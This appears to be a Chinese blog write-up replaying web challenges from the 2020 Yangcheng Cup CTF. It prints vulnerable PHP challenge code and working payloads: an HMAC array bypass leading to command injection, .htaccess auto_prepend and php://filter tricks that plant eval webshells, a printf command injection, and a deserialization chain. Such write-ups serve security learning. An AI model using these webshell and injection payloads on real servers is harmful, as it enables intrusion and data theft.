2020 羊城杯复现

前言

比赛时没做出多少题,正好buu上题了,复现一下

web

easycon

给了一个shell

GWHT{do_u_kn0w_c@idao}

blackcat

进入页面有个黑猫警长的mp3。下载下来结尾有一段代码

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

hash_hmac — 使用 HMAC 方法生成带有密钥的哈希值

hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) : string

在php中md5算法、sha256算法等无法处理数组,这个trick通常来绕过if(@md5($_GET['a']) === @md5($_GET['b'])),因为当传入参数为数组时,返回值是NULL,造成了NULL===NULL

那么我们传White-cat-monitor为数组,$clandestine则为NULL,$hh可控,于是绕过判断,命令执行

White-cat-monitor[]=1&One-ear=;cat flag.php&Black-Cat- Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

buuoj的flag在env里

easyphp

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

绕过正则和关键字拦截,用file_put_contents写文件,然后题目还限制了只解析index.php

思路

利用.htaccess来设置文件自动包含

.htaccess设置php环境变量格式

#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess

可以使用auto_prepend_fileauto_append_file来进行包含
这样每个页面都会require所指定的php文件,而不用在页面php文件中使用require

auto_prepend_file #在页面顶部加载文件
auto_append_file  #在页面底部加载文件

注意:auto_prepend_file 与 auto_append_file 只能require一个php文件,但这个php文件内可以require多个其他的php文件。

绕过\n过滤

题目会在写入文件的后面添加\nHello, world,我们构造payload时,结尾要用\ 处理content中的\n ,不然违背.htaccess 书写格式会导致Apache 运行崩

比如我们需要写入

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>\

如果末尾不加\来转义\n,文件内容就会变为

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>
Hello, world

会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,然后全部500

绕过stristr的过滤

过滤了关键字,可以用base64绕过
谈一谈php://filter的妙用

绕过preg_match
if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }

因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1)而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此存在了被绕过的可能。

文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式。

看七月火师傅的文章preg_match函数绕过
在PHP中,正则匹配的递归次数由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万 ,该值可以通过php.ini设置,也可以通过 phpinfo 页面查看。

那么可以设置pcre.backtrack_limit值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。

那么同样可以按照.htaccess文件的格式写入

php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world

因为php版本>=7,所以需要特别设置pcre.jit这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit这个环境变量能正常生效,绕过preg_match函数。

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
然后写入一句话
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();

方法二

可以通过对过滤的关键字中间添加换行\n来绕过stristr函数的检测,不过仍然需要注意添加\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

easyphp2

访问robots.txt
有个LFI,url两次编码绕过
http://7adf48cc-c6be-46ff-8cf2-00ec52b71e75.node3.buuoj.cn/?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>count is here</title>

    <style>

        html,
        body {
            overflow: none;
            max-height: 100vh;
        }

    </style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

    <?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        	die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

</body>

</html>

读check.php

<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";

header('Location: /');

密码为GWHT

GET /?file=GWHT.php&count='|echo+"<%3f%3d+eval(\$_POST['shell'])%3f>"+>+a.php' HTTP/1.1
Host: 7adf48cc-c6be-46ff-8cf2-00ec52b71e75.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pass=GWHT
Upgrade-Insecure-Requests: 1

写一句话然后连蚁剑

find / -name "flag*"找到flag路径,权限问题读不了
/GWHT/system/of/a/down/flag.txt

README里面有个hash

解密后为GWHTCTF

print "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

其实env里面也有,应该是buuoj部署题目时的配置

robots.txt下有个

Disallow: /star1.php/

注释有一个

利用SSRF,http://127.0.0.1/ser.php读取源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
        @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>

反序列化,需要绕过die

<?php
class GWHT{
    public $hero;
}

class Yongen{ //flag.php

    public $file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text = "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";
}

$a = new GWHT;
$a->hero = new Yongen;
echo urlencode(serialize($a));

payload

/star1.php?path=http://127.0.0.1/sandbox/hrnh1cvpq4bvbm960878icaodb/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}} 

flag在根目录

break the wall

open_basedirdisable_function
Alt text

chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink,scandir,popepassthru,fsocket
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

Alt text

posted @ 2021-01-04 16:39  twosmi1e  阅读(1843)  评论(0编辑  收藏  举报